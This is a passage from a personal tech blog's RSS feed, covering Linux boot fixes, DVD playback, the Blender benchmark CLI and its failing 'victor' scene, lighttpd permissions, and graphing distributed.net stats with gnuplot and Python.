I needed to use it as, it is the only device that has a DVD/CD drive to watch Simpsons season 19 box set.

Although I could get it to work it often required more than one boot attempt, screen would just be black and system seemed to have hung.

Edited 
<code>/etc/default/grub</code>
to include
[em]nomodeset[/em]
<code>GRUB_CMDLINE_LINUX_DEFAULT="nomodeset"</code>

and after forcing grub to update
<code>sudo update-grub2</code>

I can now see all the fun things the machine is doing while booting and not had an issue yet.

Also, to enable DVD playback on Ubuntu

<code>sudo apt-get install libdvd-pkg
sudo dpkg-reconfigure libdvd-pkg</code>

Prior to this VLC would just hang playing DVDs
</description>
</item>
<item>
<title>more victor troubles in the blender cli</title>
<pubDate>Thu, 06 Feb 2020 20:45:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2020.html#p060220202045</link>
<description>
And now the command line version of the Blender Bench-marking system

running

<code>./benchmark-launcher-cli</code>

gives you a interactive console to select the various options and it happily does the renders and sends the results to [url title="Blender Foundation Open Data"]https://opendata.blender.org/[/url]

But where is the fun in that?

<code>./benchmark-launcher-cli blender list</code>

gives you the various supported Blender versions
<code class="output">
2.81a
2.81</code>
and

<code>./benchmark-launcher-cli devices --blender-version 2.81a</code>
<code class="output">GeForce GTX 1660 Ti	CUDA
Intel Core i5-9400F CPU @ 2.90GHz	CPU</code>


<code>./benchmark-launcher-cli scenes --blender-version 2.81a list</code>

lists the scenes
<code class="output">bmw27	0
classroom	0
fishy_cat	0
koro	0
pavillon_barcelona	0
victor	0</code>

Now we can run a full benchmark

<code>./benchmark-launcher-cli benchmark --blender-version 2.81a --device-type CUDA --json --submit bmw27</code>



<code class="output">
Warming up bmw27
4 / 4 [-----------------------------------------------------------------------------------------------------------------------------------------------------------------------] 100.00% 10 p/s
Benchmarking bmw27
4 / 4 [------------------------------------------------------------------------------------------------------------------------------------------------------------------------] 100.00% 0 p/s
[
  {
    "timestamp": "2020-02-06T18:41:59.033915+00:00",
    "blender_version": {
      "version": "2.81 (sub 16)",
      "build_date": "2019-12-04",
      "build_time": "13:48:07",
      "build_commit_date": "2019-12-04",
      "build_commit_time": "11:32",
      "build_hash": "f1aa4d18d49d",
      "label": "2.81a",
      "checksum": "08d718505d1eb1d261efba96b0787220a76d357ce5b94aca108fc9e0c339d6c6"
    },
    "benchmark_launcher": {
      "label": "2.0.4",
      "checksum": "37c9687e041fa0a94a89914618f80d5213a556bba3822c58c09086e9c8d48944"
    },
    "benchmark_script": {
      "label": "2.0.0",
      "checksum": "e38921ff7a2959d5e47a83501a2dde3f7f166a4f46b65fac272eec38ae9e5f27"
    },
    "scene": {
      "label": "bmw27",
      "checksum": "bc4fd79cbd85a1cc47926e848ec8f322872f5c170ef33c21e0d0ce303c0ec9ea"
    },
    "system_info": {
      "bitness": "64bit",
      "machine": "x86_64",
      "system": "Linux",
      "dist_name": "Gentoo",
      "dist_version": "2.6",
      "devices": [
        {
          "type": "CUDA",
          "name": "GeForce GTX 1660 Ti",
          "is_display": false
        },
        {
          "type": "CPU",
          "name": "Intel Core i5-9400F CPU @ 2.90GHz"
        }
      ],
      "num_cpu_sockets": 1,
      "num_cpu_cores": 6,
      "num_cpu_threads": 6
    },
    "device_info": {
      "device_type": "CUDA",
      "compute_devices": [
        {
          "type": "CUDA",
          "name": "GeForce GTX 1660 Ti",
          "is_display": false
        }
      ],
      "num_cpu_threads": 6
    },
    "stats": {
      "device_peak_memory": 145.99,
      "total_render_time": 97.3422,
      "render_time_no_sync": 94.9699
    }
  }
]
Submitting results
Submission successful! View your results at:
https://opendata.blender.org/benchmarks/253bacd3-abe9-4177-b2b9-a9cbcdf69f33/
</code>

That was just the BMW scene(one of the smallest and quickest)

If you want to include all the scenes you can use
<code>/benchmark-launcher-cli benchmark --blender-version 2.81a --device-type CUDA --json --submit bmw27 classroom barbershop_interior fishy_cat koro pavillon_barcelona victor</code>

But whenever I include [em]victor[/em] I get an error

<code>./benchmark-launcher-cli benchmark --blender-version 2.81a --device-type CUDA --json --submit victor</code>
<code class="output">
Warming up victor
ERROR: An unexpected error occurred. Run with '--verbosity 3' for detailed logs.
ERROR: Did not receive Benchmark JSON Data.</code>

and if I run it with the '--verbosity 3' flag

<code>benchmark-launcher-cli benchmark --verbosity 3 --blender-version 2.81a --device-type CUDA --json --submit victor</code>
I get a huge console dump. [url title="Pastbin of the results"]https://pastebin.com/4VWZ5tuA[/url](415.03 KB)

So I tried
<code>benchmark-launcher-cli clear_cache</code>

Which completed successfully, but the error persisted when I tried [em]victor[/em] again.

I have been trying to get to the bottom of this for a number of days, so I guess it is time to open a bug report.

FYI if you get

<code class="output">ERROR: No token found. Create one using the 'authenticate' command.</code>

Then run

<code>./benchmark-launcher-cli authenticate</code>
<code class="output">Please verify the token at:
https://opendata.blender.org/benchmarks/tokens/b60add57-dead-47e0-beaf-9ffaeb2d2aa0/verify/
Waiting for verification...
? The token was verified by rob_on_earth <.........@jumpstation.co.uk>, was this you? 
</code>
and verify the token at the given address in your browser before answering yes.
</description>
</item>
<item>
<title>victor on the blender bench</title>
<pubDate>Thu, 06 Feb 2020 18:27:10 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2020.html#p060220201827</link>
<description>
When I got my [url title="new machine"]/flog/Nov2019.html#p121120192154[/url] the first job was do [url title="Blender bench-marking in Windows(before wiping it) so it could be compared to Linux and CPU to GPU"]/flog/Dec2019.html#p081220191806[/url]
So I was a bit surprised that official Blender bench-marking code was all 2.79(2.8 was officially released in Oct 20 and previews were available a year before). But 2.79 had serious problems running GPU renders.

Fast forward to January 2020 and a [url title="new official Blender Benchmark system"]https://www.blender.org/press/blender-benchmark-2020-update/[/url] was released.

It comes in two flavours. A command line only and a GUI version. Both do basically the same. Select a Blender version, download it and any required demo scenes then render the benchmarks with either CPU or GPU.

The data is then optionally uploaded and shared on the [url title="open data"]https://opendata.blender.org/[/url] platform.

I tried the GUI version and it was very slick. But ultimately it failed. After a long time rendering, it told me there was no data to submit. 

Time to investigate;

Ran <code>ps auw</code>
and found
<code class="output">
/home/user/.cache/blender-benchmark-launcher/blender-versions/08d718505d1eb1d261efba96b0787220a76d357ce5b94aca108fc9e0c339d6c6/blender-2.81a-linux-glibc217-x86_64/blender --background --factory-startup -noaudio --debug-cycles --enable-autoexec --engine CYCLES /home/user/.cache/blender-benchmark-launcher/scenes/0089a8807b16e07be5fba59beca64def206249df49c74f7c6aaa15d2e1a483ec/classroom/main.blend --python /home/user/.cache/blender-benchmark-launcher/benchmark-scripts/e38921ff7a2959d5e47a83501a2dde3f7f166a4f46b65fac272eec38ae9e5f27/blender-benchmark-script-2.0.0/main.py -- --device-type CUDA --device GeForce GTX 1660 Ti
</code>

depending on which scene it was working on the parameters changed
<code class="output">
/home/user/.cache/blender-benchmark-launcher/blender-versions/08d718505d1eb1d261efba96b0787220a76d357ce5b94aca108fc9e0c339d6c6/blender-2.81a-linux-glibc217-x86_64/blender --background --factory-startup -noaudio --debug-cycles --enable-autoexec --engine CYCLES /home/user/.cache/blender-benchmark-launcher/scenes/099f581574457791e8cc753b2bf350c42fcdedb9ddcf3499909d119f0ab9137f/barbershop_interior/main.blend --python /home/user/.cache/blender-benchmark-launcher/benchmark-scripts/e38921ff7a2959d5e47a83501a2dde3f7f166a4f46b65fac272eec38ae9e5f27/blender-benchmark-script-2.0.0/main.py -- --device-type CUDA --device GeForce GTX 1660 Ti
/home/user/.cache/blender-benchmark-launcher/blender-versions/08d718505d1eb1d261efba96b0787220a76d357ce5b94aca108fc9e0c339d6c6/blender-2.81a-linux-glibc217-x86_64/blender --background --factory-startup -noaudio --debug-cycles --enable-autoexec --engine CYCLES /home/user/.cache/blender-benchmark-launcher/scenes/20cedaf5d93ba81b74a1dd095e33ffac093d9928c214c6cd211bb8af9ded2dd6/pavillon_barcelona/main.blend --python /home/user/.cache/blender-benchmark-launcher/benchmark-scripts/e38921ff7a2959d5e47a83501a2dde3f7f166a4f46b65fac272eec38ae9e5f27/blender-benchmark-script-2.0.0/main.py -- --device-type CUDA --device GeForce GTX 1660 Ti
</code>

I then tried the non [em]2.81a[/em] version of Blender. Same error. Tried CPU rendering, both versions of Blender. Same Error. Looked at log files, but nothing stood out.

Tried the command line benchmark(* see next post). Same result, but does not send error to Blender Foundation.

Found the issue is with one of the scenes. "Victor" from the [url title="open movie Cosmos laundromat"]https://www.blender.org/download/demo-files/#cycles-demos[/url] 

<a href="https://opendata.blender.org/benchmarks/query/?device_name=GeForce%20GTX%201660%20Ti&device_type=CUDA&os=Linux&blender_version=2.81%20(sub%2016)&group_by=benchmark">GeForce GTX 1880 Ti results Blender 2.81a Linux</a> (most likely just me)

Excluding this scene allowed me to complete all the other benchmarks and submit my data. The data submission was a slightly convoluted OAuth browser confirmation system, but worked with both the GUI and command line version.

I spent sometime trying to work out why the "Victor" scene has an issue. But, nobody is talking about it and I cannot debug it :(

(I repeatedly "cleared cache" and delete files to no avail).

Next time how to run the command line benchmark tool.
</description>
</item>
<item>
<title>2019 we knew you fleetingly</title>
<pubDate>Sat, 01 Feb 2020 10:35:05 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2020.html#p010220201035</link>
<description>
Almost got it in in January :)

Here is the [url title="year 2019"]year2019.html[/url] in review.

[url title="archive.html"]Archive has been updated[/url] and I found that once again I do not give myself much credit.

There was a lot going on in 106 posts (up 35 from last year) of which 18 were tagged as Blender (down 22 from 2018)

From [url title="Resurrecting and then dissecting my Pi VR experience"]/flog/Jul2019.html#p210720191533[/url] to a [url title="new machine"]/flog/Nov2019.html#p121120192154[/url] and [url title="graphing anything that moves"]/flog/Dec2019.html[/url].

Plus much much more. I did notice that although I do not have so many spelling mistakes of older years, there is a fair bit of just bad English. Maybe from over use of a spell checker :) Also the BBCode like modifiers I use internally keep popping up in their raw form, oops.

There are a total of 1599 different f-log tags of which 177 were used in 2019
</description>
</item>
<item>
<title>chmod home surfaces local shark tiles</title>
<pubDate>Sun, 19 Jan 2020 17:33:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2020.html#p190120201733</link>
<description>
I am still finding holes in my new setup. Which means I has taken a long time to get to the point where I could get [url title="Anagram Shark Attack"]/flog/tags.html?tag=anagramsharkattackjse[/url] back on track.

Luckily I had done a [url title="flog post setting up the local web server"]/flog/Oct2019.html#p121020192315[/url]. Which got me almost back to normal.

I tried accessing the local dev copy of the Anagram Shark Attack game and got 
<code class="output">403 Forbidden</code>

Which was odd because this is just a static html file. I then checked all the permissions and they were the same as my old setup.

The folder structure is
<code class="output">
/var
  /www
    /shark.jumpstation.co.uk
      /game -> /home/user/projects/javascript/Anagram Shark Attack JS-E
      test.html
</code>

and [em]shark.jumpstation.co.uk:8080/test.html[/em] did work.

I found an extra setting in the [em]/etc/lighttpd/lighttpd.conf[/em] to enable directory browsing.
<code>dir-listing.activate      = "enable"</code>

This allowed me to hit the root and see a directory listing [em]shark.jumpstation.co.uk:8080/[/em]. But only [em]test.html[/em] showed. Definitely a permissions problem.

So I recheck all the [em]/var/www[/em] permissions and the [em]/home/user/projects/javascript/Anagram Shark Attack JS-E[/em] permissions.

Googling around I found a number of small comments about [em]chmod o+x /home/user[/em], which seemed a bit bonkers, but I was willing to try almost anything.

and it worked!

[em]shark.jumpstation.co.uk:8080/[/em] now showed me the [em]test.html[/em] and the [em]game[/em] folder

and [em]shark.jumpstation.co.uk:8080/game/game.html[/em] showed my cool surfacing tiles of a random word from level 1.
</description>
</item>
<item>
<title>apple the more you pay the less you get or no ports for pro</title>
<pubDate>Sun, 19 Jan 2020 16:32:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2020.html#p190120201632</link>
<description>
I really hate Apple, I mean it causes my blood to boil and I feel physically sick dealing with Apple tech. So...

My friend updates from a Mac Book Air to a Mac Book Pro and has bought all the shiny Apple accessories, including Magic Mouse and Magic Keyboard devices.

The new Mac says it will copy all the old data off the old Mac, sounds good. Expect the backups of the old Mac have been failing because backups only run when connected to the mains. They never disconnect the charger and that is not within reach of the network where the backups are. There is a single backup from 644 days ago. It is not practical to retrieve the mains adaptor at this time.

While this is going on we open the Magic Mouse and Magic Keyboard. Instructions state: "to pair: insert Lightning cable in to mouse and USB end into Mac". The Mac Book Pro has no USB sockets. It is the same with the Magic keyboard.

All the old accessories from the Mac Book Air are Lightning connectors. There are no Lightning connectors on the Mac Book Pro.

I feel a stomach ache coming on :(
</description>
</item>
<item>
<title>driving nine year old in a kernel panic</title>
<pubDate>Sun, 12 Jan 2020 22:43:24 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2020.html#p120120202243</link>
<description>
When I setup my new computer I brought with me all the old hard drives.

Once I had the initial Gentoo system booting I connected the drives one at a time. 

And then it broke. Linux would crash during boot with a Kernel Panic. I decided to come back to it later, I could always connect the driver with a USB adaptor(drive toaster).

So I tried connecting the drive again and the same happened. The Kernel Panic was so big that all the juicy details were under the six(count them) penguins logos. 

After a few tries I found you can disable the Core count with
<code>logo.nologo</code>

in grub at the end of the linux kernel line.

This showed that the drive was being interpreted as bootable drive or was interfering with the location of the root file system. But no amount of tinkering with the cables and the BIOS settings would fix it.

I realised that although I loved this drive it was only 40GB and I could copy the entire contents directly on to another drive, via the drive toaster.

This 40GB drive had been my original boot SSD after a 64GB would not work with Linux over 9 years ago. You probably use a USB thumb drive bigger than that!
</description>
</item>
<item>
<title>a dragon driving a hybrid ate our childcare and then sunk in the pool</title>
<pubDate>Sun, 12 Jan 2020 22:31:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2020.html#p120120202231</link>
<description>
and then we went to America and spent Christmas in the pool(a strange experience that the family will avoid repeating).

and then I got a new car. Could not get a true EV, but as a hybrid it fulfils my evolving to perfection requirement.

and then we got an exercise bike and I have been trying to do 15mins per day(so far succeeding). This is surprisingly important due to the lack of walking I have done in the last 360 days.

Christmas was all about dragons and then the childcare situation went from stable to precarious.
</description>
</item>
<item>
<title>python filled dates fight for zero</title>
<pubDate>Wed, 11 Dec 2019 00:36:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p111220190036</link>
<description>
Lets do a bit of Python(3) to get those missing dates

<code>#Log Date Filler
#
#Reads a CSV of distributed.net stats and fills in 0 for dates that are not recorded.
import sys, csv
from datetime import datetime,timedelta

if len(sys.argv) == 1:
  print("Error: filename not provided")
  exit()

filename = sys.argv[1]

# accepts string date from the file and date calculated to be next in the sequence
# print 0 values until strings match
def print_missing_dates(file_str, date_obj):
  while(file_str != date_obj.strftime('%d-%b-%Y')):
    print("{},0".format(date_obj.strftime('%d-%b-%Y')))
    date_obj = date_obj - timedelta(days=1)

current_date = None
with open(filename ) as csv_file:
  csv_reader = csv.DictReader(csv_file)
  for row in csv_reader:
    date_str = row["DATE"] 
    date_obj = datetime.strptime(date_str, '%d-%b-%Y')
    if current_date is None:
      print("{0},{1}".format(csv_reader.fieldnames[0],csv_reader.fieldnames[1])) # output the column names
      print("{0},{1}".format(row["DATE"],row["UNITS"])) # output the first row of data 
      current_date = date_obj
    else:
      current_date = current_date - timedelta(days=1)
      print_missing_dates(date_str, current_date)
      current_date = date_obj
      print("{0},{1}".format(row["DATE"],row["UNITS"])) # output the current matching row of data 
</code>

Which breaks down to;
Get row data from CSV
if first row record it as the current_date and print the column headers and the row data
loop and get next row
minus 1 day from the current_date
while the current_date does not match the row date
print out the current_date with a 0 value
minus 1 day from the current_date
repeat
print out row data

which works perfectly so we then get this new graph
<img src="images/graph_distributednet_005.png" alt="gnuplot distributed.net stats with logscale and zero values" >

which seems a bit "holey".

Turns out that with the [em]logscale y[/em] in place 0 as a value is ignored and not plotted.

A quick
<code>cat filled.csv | sed -re "s/,0/,1/" > refilled.csv</code>
and any 0 value is now a 1 value
<img src="images/graph_distributednet_006.png" alt="gnuplot distributed.net stats with logscale and zero values incremented" >

which is better, I think.
</description>
</item>
<item>
<title>gnuplot distributed stats tidy up wave one</title>
<pubDate>Mon, 09 Dec 2019 23:39:27 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p091220192339</link>
<description>
Lets fix the Date format first
[em]set format x "%b-%Y"[/em] sets the output format to Month name abbreviated and the four digit year.
[em]set xtics offset 0,0 rotate by -45 scale 0[/em] rotates a pleasing 45&deg;
[em]set rmargin 6[/em] increases the right margin to accommodate the changes.

<img src="images/graph_distributednet_002.png" alt="gnuplot graph distributed.net stats to 2019-12-07 with formatted date tics">

There two glaring issues left, the linear scale obscures most of the changes due to low values and there are no 0 values for dates where submissions were missed.

If only we could specify a logarithmic scale on the X axis.

<code>set logscale y 5
set ylabel "Blocks per day\n log 5" 
set grid ytics lc rgb "#bbbbbb" lw 1 lt 0
set grid xtics lc rgb "#bbbbbb" lw 1 lt 0
</code>

<img src="images/graph_distributednet_003.png" alt="gnuplot graph distributed.net stats to 2019-12-07 with log 5 scale">

up until this point I had either been running [em]gnuplot -p plot.gnu[/em] with my file and editing it in [em]vim[/em] or running the interactive [em]gnuplot[/em] (no parameters) and copying and pasting commands in manually.
Which rather stupid, as I can just execute
<code>save "plot_updated.gnu"</code>
and
<code>load "plot_updated.gnu"</code>
from within the interactive session!

Doh!

Another quick note:
We can zoom in on a specific date range by setting [em]xrange[/em] e.g.
[em]set xrange ["01-Jan-2004":"01-Jan-2009"][/em]

<img src="images/graph_distributednet_004.png" alt="gnuplot graph distributed.net stats from 2004 to 2009-01-01 with log 5 scale">

This will come in handy when we try and insert all the zero day submissions.
</description>
</item>
<item>
<title>distributed.net history graphed for prospeariateiy</title>
<pubDate>Mon, 09 Dec 2019 22:02:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p091220192202</link>
<description>
and now I am obsessed with graphs. Wouldn't it be nice to graph my [url title="distributed.net stats"]http://stats.distributed.net/participant/phistory.php?project_id=8&amp;id=269589[/url]?

A quick [url title="view source"]view-source:http://stats.distributed.net/participant/phistory.php?project_id=8&id=269589[/url] and there is a nice little note
<code class="output">IMPORTANT NOTE TO SCRIPTERS!
This page, like many stats pages, has a version which is far more suitable
for machine parsing.  Please try the url:
http://stats.distributed.net/participant/phistory_raw.php?project_id=$project_id&amp;id=$id
</code>

and if we do that we get a html page with 
<code class="output">
NOTE: Please make your scripts tolerant of additional values
in this report.  Future improvements may be implemented which
result in additional fields added to each line.

---BEGIN HEADER---
ID=269589 
PARTICIPANT=b_o_l_l_o_x@hotmail.com 
LASTUPDATE=07-Dec-2019 
---BEGIN DATA---
DATE,UNITS
07-Dec-2019,113967
06-Dec-2019,112819
05-Dec-2019,116224
04-Dec-2019,113069
03-Dec-2019,6750
02-Dec-2019,6770
01-Dec-2019,6882
......
26-Jun-2006,96
25-Jun-2006,48
24-Jun-2006,96
16-Mar-2004,73
---END DATA---
</code>

so the first job is to just strip it down to the CSV data

bit of recon

<code>egrep -n "^---" raw.capture 
14:---BEGIN HEADER---
18:---BEGIN DATA---
3314:---END DATA---
</code>

Time for a little *NIX madness. Each tool is designed to do one thing and one thing, only it does it very well AND it can pass it's output to another program of the same ilk.
<code>cat raw.capture \
| head -n $(( $(egrep -n "^---END DATA---" raw.capture | egrep -o "^[0-9]+") -1 )) \
| tail -n +$(( $(egrep -n "^---BEGIN DATA---" raw.capture | egrep -o "^[0-9]+") +1 ))
</code>

Which happily takes all the lines up to the [em]---END DATA--[/em] line(minus one for itself) and then takes all the lines from the line after [em]---BEGIN DATA---[/em]
Do math [em]$(( math expr ))[/em]
Run a command [em]$( command expr )[/em] 
Get all numbers at the beginning of a line [em]egrep -o "^[0-9]+"[/em] (and only print characters that match, rather than the whole matching line)

<code>set title "Distributed.net Total Stats"
set rmargin 5
set datafile separator comma
set timefmt '%d-%b-%Y'
set xdata time
set key autotitle columnhead
set ylabel "Blocks per day"
set xlabel "Date of submission"
plot 'raw.csv' using 1:2 with lines
</code> 

[em]set key autotitle columnhead[/em] uses the name of the column in the CSV for the Key description.
and we need to pad out the Right Margin to fit in the dates. Also we add some labels for X and Y axis.

<img src="images/graph_distributednet_001.png" alt="Basic gnuplot graph of my distributed.net stats to 2019-12-07">

Next time I will investigate making it a little more readable.
</description>
</item>
<item>
<title>the pavilion of pavillion</title>
<pubDate>Sun, 08 Dec 2019 21:30:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p081220192130</link>
<description>
Not sure why I spelt Pavilion wrong every time there :s
</description>
</item>
<item>
<title>plotting how to best plot a gnuplot plot</title>
<pubDate>Sun, 08 Dec 2019 21:13:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p081220192113</link>
<description>
The last time I used [url title="GNUPlot"]http://www.gnuplot.info/[/url] was back in [url title="2013"]/flog/year2013.html[/url] for a short lived project to [url title="plot room temperature with a Raspberry Pi"]/flog/Mar2013.html#050320132227[/url]. I remember it being a baptism of fire.

So we need the commands and settings to create the specific type of graph.

Word of warning! I tried numerous times to use the interactive [em]gnuplot[/em] program and could not understand why the output was 0 bytes but the thumbnail looked like my expected graph. Turns out that you have to exit [em]gnuplot[/em] for it to save the file. So from then on, instead of writing to a file I used the [em]terminal type qt[/em], which is one of the interactive types. This allows you to see the results and export them when you are happy, rather than creating a PNG/PDF etc file every time.

I went through a lot of versions and this was the first one that had the time right. It also showed how to override the default colours.

<img src="images/graph_blender_linux_windows_cpu_gpu_vert.png" alt="graph of my computer rendering times windows and linux CPU vs GPU vertical orientation"> 

<code>set title "Benchmarks"
set timefmt "%M:%S"
set ydata time
set yrange ["00:00":"30:00"]
set style data histogram
set style histogram cluster gap 1
set style fill solid border -1
set boxwidth 0.9
plot 'data.dat'  using 2:xtic(1) ti col linecolor rgb "#00FF00", '' u 3 ti col linecolor rgb "#00FF00", '' u 4 ti col linecolor rgb "#00FF00", '' u 5 ti col linecolor rgb "#00FF00"
</code>

The [em]title[/em] is obvious and in later revisions excluded.
[em]set timefmt[/em] sets the time format to Minutes and Seconds. Lots of examples online of percentage, dates or seconds, so I had to just guess. Really expected it to work it out automagically.
[em]set ydata[/em] tells the plot to use time on the Y axis
[em]set yrange[/em] sets the Y axis range, otherwise it tries to guess what the min/max should be.
[em]set data histogram[/em] sets the 2D plotting format to Histogram, needed for the next command.
[em]set histogram cluster[/em] creates the clustering of the different data columns, otherwise they would just be sequential.
Then set the style and finally the [em]plot[/em] command, that does all the work. [em]plot.dat[/em] is our input file and then I copied pasted the rest from examples :)

OK, so that is the proof of concept out of the way. Now I want the OSs to be next to each other...

So how do we get from 
<code class="output">scene	"Windows CPU"	"Windows GPU"	"Linux CPU"	"Linux GPU"
Barbershop	28:16	18:56	24:11	18:30
BMW	6:30	1:25	5:34	1:24
Classroom	16:56	4:01	14:21	3:59
"Fishy Cat"	10:05	2:26	8:43	2:26
Koro	12:53	4:01	11:32	3:22
Pavillion	2:11	0:49	1:55	0:49
</code>
to
<code class="output">scene	"Windows CPU"	"Linux CPU"	"Windows GPU"	"Linux GPU"
Barbershop	28:16	24:11	18:56	18:30
BMW	6:30	5:34	1:25	1:24
Classroom	16:56	14:21	4:01	3:59
"Fishy Cat"	10:05	8:43	2:26	2:26
Koro	12:53	11:32	4:01	3:22
Pavillion	2:11	1:55	0:49	0:49
</code>

We need to scoot the columns around from [em]data.dat[/em] so the CPUs and GPUs are together into [em]data_cluster_type.dat[/em].
<code>paste &lt;(cut -f1 data.dat) &lt;(cut -f2 data.dat) &lt;(cut -f4 data.dat)  &lt;(cut -f3 data.dat) &lt;(cut -f5 data.dat) &gt; data_cluster_type.dat
</code>

Which basically just [em]pastes[/em] each column one at a time with columns 3 and 4 swapped around.

Next we have
<img src="images/graph_blender_linux_windows_cpu_gpu_vert_colour.png" alt="graph of my computer rendering times windows and linux CPU vs GPU vertical orientation in colour"> 

<code>set title "Blender 2.8 OS/Type"
set timefmt "%M:%S"
set ydata time
set yrange ["00:00":"30:00"]
set style data histogram
set style histogram cluster gap 1
set style fill solid border -1
set boxwidth 0.9
set grid ytics lc rgb "#bbbbbb" lw 1 lt 0
set grid xtics lc rgb "#bbbbbb" lw 1 lt 0
plot 'data_cluster_type.dat'  using 2:xtic(1) ti col linecolor rgb "#BF9469", '' u 3 ti col linecolor rgb "#FF8000", '' u 4 ti col linecolor rgb "#64BBC9", '' u 5 ti col linecolor rgb "#00DEFF"
</code>

Which is the same as last time except we have altered the title, added grid lines and changed the colours. All with the new data file.

Now to get the rotation, overlapping columns etc we use

<code>set term qt size 600, 800
set key outside
set lmargin 0
set bmargin 7
unset title
set xtics offset 0,-4.6 rotate by 90 scale 0
unset ytics
set y2tic offset 0,-1.5 rotate by 90 scale 0
set timefmt "%M:%S"
set ydata time
set yrange ["00:00":"30:00"]
set y2data time
set y2range ["00:00":"30:00"]
set style data histogram
set style histogram cluster gap 1
set style fill solid border -1
set boxwidth 1.25
set grid y2tics lc rgb "#bbbbbb" lw 1 lt 0
set grid xtics lc rgb "#bbbbbb" lw 1 lt 0
plot 'data_cluster_type.dat'  using 2:xtic(1) ti col linecolor rgb "#BF9469", '' u 3 ti col linecolor rgb "#FF8000", '' u 4 ti col linecolor rgb "#64BBC9", '' u 5 ti col linecolor rgb "#00DEFF"
</code>

A lot has changed and been added so lets go through the new and altered lines.

[em]set term qt size[/em] Do not need the title anymore, but we do need to set the overall size. The only way to do this is specify the [em]terminal[/em]. Luckily when starting [em]gnuplot[/em] it reports it's terminal as [em]qt[/em]. The [em]size[/em] is important to make room for the rotated labels.
[em]set key outside[/em] Although you can control the appearance of most things, [em]key/legend[/em] cannot be rotated 90&deg;. This puts the information outside the main graph for easy manipulation later.
[em]set bmargin[/em] Changes the Bottom Margin so there is space for the rotated labels on the X axis.
[em]unset title[/em] Remove the title, otherwise we have to mess about rotating that as well.
[em]set xtics offset 0,-4.6 rotate by 90 scale 0[/em] Offset the X labels(tics) and rotate them by 90&deg;.
[em]unset ytics[/em] Remove the default configuration information for the Y labels. If you do not do this it mucks up the grid lines later.
[em]set y2tic offset 0,-1.5 rotate by 90 scale 0[/em] Offset the Y labels(tics) and rotate them by 90&deg;. The [em]2[/em] in [em]y2tic[/em] refers to the labels being on the right instead of the left.
Then notice later in the commands we set the [em]y2data[/em] and [em]y2range[/em] and then use [em]y2tics[/em] for the grid source.
Finally we set the [em]boxwidth[/em] to create the slight overlap for the columns. I was actually trying to get rid of the margins inside the graph, but that went nowhere.

But this results in

<img src="images/graph_blender_linux_windows_cpu_gpu_raw.png" alt="graph of my computer rendering times windows and linux CPU vs GPU raw gnuplot output">

So a few minutes in GIMP and we are left with 

<img src="images/graph_blender_linux_windows_cpu_gpu.png" alt="graph of my computer rendering times windows and linux CPU vs GPU"> 
 
This was not a quick or easy journey.
<code>history | egrep gnuplot | wc -l</code>
<code class="output">107</code>

Though admittedly a couple of those executions were just to test things for this blog post and to create the intermediary images.
</description>
</item>
<item>
<title>linux beats windows in cpu vs gpu showdown graph</title>
<pubDate>Sun, 08 Dec 2019 18:06:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p081220191806</link>
<description>
The main thing I wanted to do with my brand new machine was compare Windows Blender rendering and Linux Blender rendering. Then to show CPU vs GPU.

The machine came with Windows 10(since expunged) so I installed Blender 2.8 and downloaded the [url title="Blender benchmark tool"]https://opendata.blender.org/[/url]. Only top find that it does not use 2.8 and fails on GPU rendering.

But all was not lost, because it downloaded all the demo scenes.

So I manually ran each one in Windows with both CPU and GPU and noted the results. Then once I got NVIDIA CUDA working on Linux I did the same.

Blender 2.8 - Windows/Linux CPU vs GPU
<img src="images/graph_blender_linux_windows_cpu_gpu.png" alt="graph of my computer rendering times windows and linux CPU vs GPU">
Time MM:SS - lower values are better

Raw data
<table>  <tr>    <th>Scene</th>    <th>Windows CPU</th>      <th>Linux CPU</th>      <th>Windows GPU</th>      <th>Linux GPU</th>    </tr><tr><td>Barbershop</td><td>28:16</td><td>24:11</td><td>18:56</td><td>18:30</td></tr><tr><td>BMW</td><td>6:30</td><td>5:34</td><td>1:25</td><td>1:24</td></tr><tr><td>Classroom</td><td>16:56</td><td>14:21</td><td>4:01</td><td>3:59</td></tr><tr><td>Fishy Cat</td><td>10:05</td><td>8:43</td><td>2:26</td><td>2:26</td></tr><tr><td>Koro</td><td>12:53</td><td>11:32</td><td>4:01</td><td>3:22</td></tr><tr><td>Pavillion</td><td>2:11</td><td>1:55</td><td>0:49</td><td>0:49</td></tr></table>

A couple of quick notes: The Classroom demo file in the Benchmark is out of date and all the desks and instances do not render(fix [url title="demo files"]https://www.blender.org/download/demo-files/[/url]). The Pavillion has preset Scenes for CPU and GPU so I used them.

As it was quite an exercise to get GNUPlot to create that graph, so I will devote another blog post to the nitty gritty
</description>
</item>
<item>
<title>distributed net wallops gpu after impressive run</title>
<pubDate>Fri, 06 Dec 2019 23:27:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2019.html#p061220192327</link>
<description>
Way back on the 16th of March 2004 I submitted my first day's blocks to [url title="distributed.net"]http://distributed.net[/url]. The total for that day was 79.

It looks like I averaged about 150 blocks a day for 10 years. Then it shot up to an average of 1200 blocks per day. This corresponded with getting a new computer. A 700% increase from 150 blocks per day average.

Speaking of new computers, my new i5 running the standard dnetc client pushed this up to 6800 blocks per day average. Very respectable 424% increase from 1200 blocks per day average.

Now what if instead of running dnetc on the CPU I tried the GPU?

After some mucking about getting Blender working the NVidia CUDA all I need to do was specify the library path.
<code>export LD_LIBRARY_PATH=/opt/dnet-cuda/dnetc520-linux-amd64-cuda70/lib/ ; ./dnetc</code>

And now I am getting 114,000 blocks per day average! A 1576% increase from 6800 blocks per day average.

That is a massive 75,900% increase from 150 blocks per day average in just 15 years :D

I have now been running the client on these various machines for 5,743 days.

Never surrender! (even though RCA quit offering the prize for cracking it)
</description>
</item>
<item>
